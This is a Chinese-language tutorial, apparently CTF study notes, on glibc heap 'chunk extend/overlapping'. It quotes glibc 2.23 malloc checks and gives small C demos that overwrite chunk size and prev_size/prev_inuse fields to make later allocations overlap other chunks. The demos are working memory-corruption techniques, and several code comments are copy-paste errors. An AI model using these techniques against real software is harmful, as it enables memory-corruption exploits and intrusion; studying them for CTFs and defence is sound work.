文章目录
- chunk extend/overlapping
- fastbin与topchunk相邻free时候不会合并
- unsortedbinchunk中与topchunk相邻的被free时会合并
- extend向后overlapping
- 先修改header,再free,再malloc
- 先free,再修改header,再malloc
- extend向前overlapping
- 利用放入unsorted bin之前的合并机制
- 先修改header,再free,再malloc
- 先free,再修改header,再malloc
chunk extend/overlapping
其实就是使得得到chunk的大小扩大,从而能够覆盖到原本不属于本chunk的内存部分(覆盖其他chunk)。从而控制写该部分内存的内容
条件:可修改chunk header的数据,修改后有再次mallloc申请对应修改后对应在bin的chunk的机会,这样才能使得修改有用最终实现扩展chunk范围
fastbin与topchunk相邻free时候不会合并
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main()
{
void *ptr1,*ptr2,*ptr3,*ptr4,*ptr5,*ptr6,*ptr7,*ptr8,*ptr9;
ptr1=malloc(0x10);//分配第1个 0x10 的chunk1
ptr2=malloc(0x10);//分配第1个 0x10 的chunk1
ptr3=malloc(0x10);//分配第1个 0x10 的chunk1
ptr4=malloc(0x10);//分配第1个 0x10 的chunk1
ptr5=malloc(0x10);//分配第1个 0x10 的chunk1
ptr6=malloc(0x10);//分配第1个 0x10 的chunk1
ptr7=malloc(0x10);//分配第1个 0x10 的chunk1
ptr8=malloc(0x10);//分配第1个 0x10 的chunk1
free(ptr1);
free(ptr2);
free(ptr3);
free(ptr4);
free(ptr5);
free(ptr6);
free(ptr7);
free(ptr8);
}
结果
unsortedbinchunk中与topchunk相邻的被free时会合并
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main()
{
void *ptr1,*ptr2,*ptr3,*ptr4,*ptr5,*ptr6,*ptr7,*ptr8,*ptr9;
ptr1=malloc(0x80);//分配第1个 0x80 的chunk1
ptr2=malloc(0x80);//分配第1个 0x80 的chunk1
ptr3=malloc(0x80);//分配第1个 0x80 的chunk1
ptr4=malloc(0x80);//分配第1个 0x80 的chunk1
ptr5=malloc(0x80);//分配第1个 0x80 的chunk1
ptr6=malloc(0x80);//分配第1个 0x80 的chunk1
ptr7=malloc(0x80);//分配第1个 0x80 的chunk1
ptr8=malloc(0x80);//分配第1个 0x80 的chunk1
free(ptr1);
free(ptr2);
free(ptr3);
free(ptr4);
free(ptr5);
free(ptr6);
free(ptr7);
free(ptr8);
}
extend向后overlapping
此时是修改size较大,从而使得chunk内容范围扩大,从而能覆盖到高地址的内容
具体可以分先修改size再free,再malloc和先free,再修改,再malloc两个类型
此时注意源码中的各个检测
此时是fastbin libc2.23的源码,此时是malloc时候的源码
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{*/
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
检查函数
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
if (!chunk_is_mmapped (p))
{
assert (av == arena_for_chunk (p));
if (chunk_non_main_arena (p))
assert (av != &main_arena);
else
assert (av == &main_arena);
}
do_check_inuse_chunk (av, p);
/* Legal size ... */
assert ((sz & MALLOC_ALIGN_MASK) == 0);
assert ((unsigned long) (sz) >= MINSIZE);
/* ... and alignment */
assert (aligned_OK (chunk2mem (p)));
/* chunk is less than MINSIZE more than request */
assert ((long) (sz) - (long) (s) >= 0);
assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}
do_check_inuse_chunk (av, p);函数
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
mchunkptr next;
do_check_chunk (av, p);
if (chunk_is_mmapped (p))
return; /* mmapped chunks have no next/prev */
/* Check whether it claims to be in use ... */
assert (inuse (p));
next = next_chunk (p);
/* ... and is surrounded by OK chunks.
Since more things can be checked with free chunks than inuse ones,
if an inuse chunk borders them and debug is on, it's worth doing them.
*/
if (!prev_inuse (p))
{
/* Note that we cannot even look at prev unless it is not inuse */
mchunkptr prv = prev_chunk (p);
assert (next_chunk (prv) == p);
do_check_free_chunk (av, prv);
}
if (next == av->top)
{
assert (prev_inuse (next));
assert (chunksize (next) >= MINSIZE);
}
else if (!inuse (next))
do_check_free_chunk (av, next);
}
先修改header,再free,再malloc
对于fastbin
修改可free至faastbin的chunk的size大小,使其覆盖下一个目标chunk,free后再malloc可得到覆盖目标chunk的大chunk
#include<stdio.h>
#include <stdlib.h>
int main(void)
{
void *ptr,*ptr1,*ptr2;
ptr=malloc(0x10);//分配第一个0x10的chunk
ptr2=malloc(0x10);//分配第二个0x10的chunk
//free(ptr2)不影响后面的extend
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
printf("控制的地址:%p",ptr1);
return 0;
}
此时修改0x41的1是pre_inuse位,因为此时为1方便绕过检查,此时
对于不属于fastbin
当free一个不属于fastbin的的chunk,并且该chunk不与topchunk相邻,该chunk会被首先放到unsortedbin中。修改其size大小,使其覆盖下一个目标chunk,free后再malloc可得到覆盖目标chunk的大chunk
#include<stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1,*ptr2,*ptr3;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1
ptr2=malloc(0x10); //分配第二个 0x10 的chunk2
ptr3=malloc(0x10); //防止与top chunk合并
*(int *)(ptr-0x8)=0xb1; //此时覆盖后的下一个chunk为ptr3
free(ptr);
ptr1=malloc(0xa0);
printf("控制的地址为:%p",ptr1);
}
先free,再修改header,再malloc
对于fastbin
由于free后malloc取出的chunk会检查size是否正确,如果此时被修改将会报错,所以不行
对于不属于fastbin
当free一个不属于fastbin的的chunk,并且该chunk不与topchunk相邻,该chunk会被首先放到unsortedbin中。先free,然后修改该chunksize大小,最后再次申请即可覆盖
#include<stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1,*ptr2,*ptr3;
ptr=malloc(0x80);//分配第一个0x80的chunk1
ptr2=malloc(0x10);//分配第二个0x10的chunk2
free(ptr);//首先进行释放,使得chunk1进入unsorted bin
*(int *)(ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
printf("控制的地址为:%p",ptr1);
}
extend向前overlapping
利用放入unsorted bin之前的合并机制
前向 extend 利用了 然后再将合并chunk放到unsorted bin中(不能与topchunk相邻),通过修改 pre_size 域可以跨越多个 chunk (即根据pre_size和pre_inuse确定的前一个chunk可能实际涵盖了多个实际的chunk)进行合并实现 overlapping。
通过修改当前chunk的pre_inuse和pre_size,当free当前chunk时,会根据pre_size和pre_inuse确定的前一个chunk的地址可是否free,如果是pre_inuse为0从而实现合并
先修改header,再free,再malloc
#include<stdio.h>
#include <stdlib.h>
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4,*ptr5,*ptr6;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
ptr5=malloc(0x10);//防止与top合并
free(ptr1);//使得下个chunk对应的前一个chunk是free的
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
ptr6=malloc(0x150);//得到extend的chunk
printf("控制的地址为:%p",ptr6);
}
先free,再修改header,再malloc
没用,因为free时才会合并,如果先free后再修改,那么将不会有任何合并操作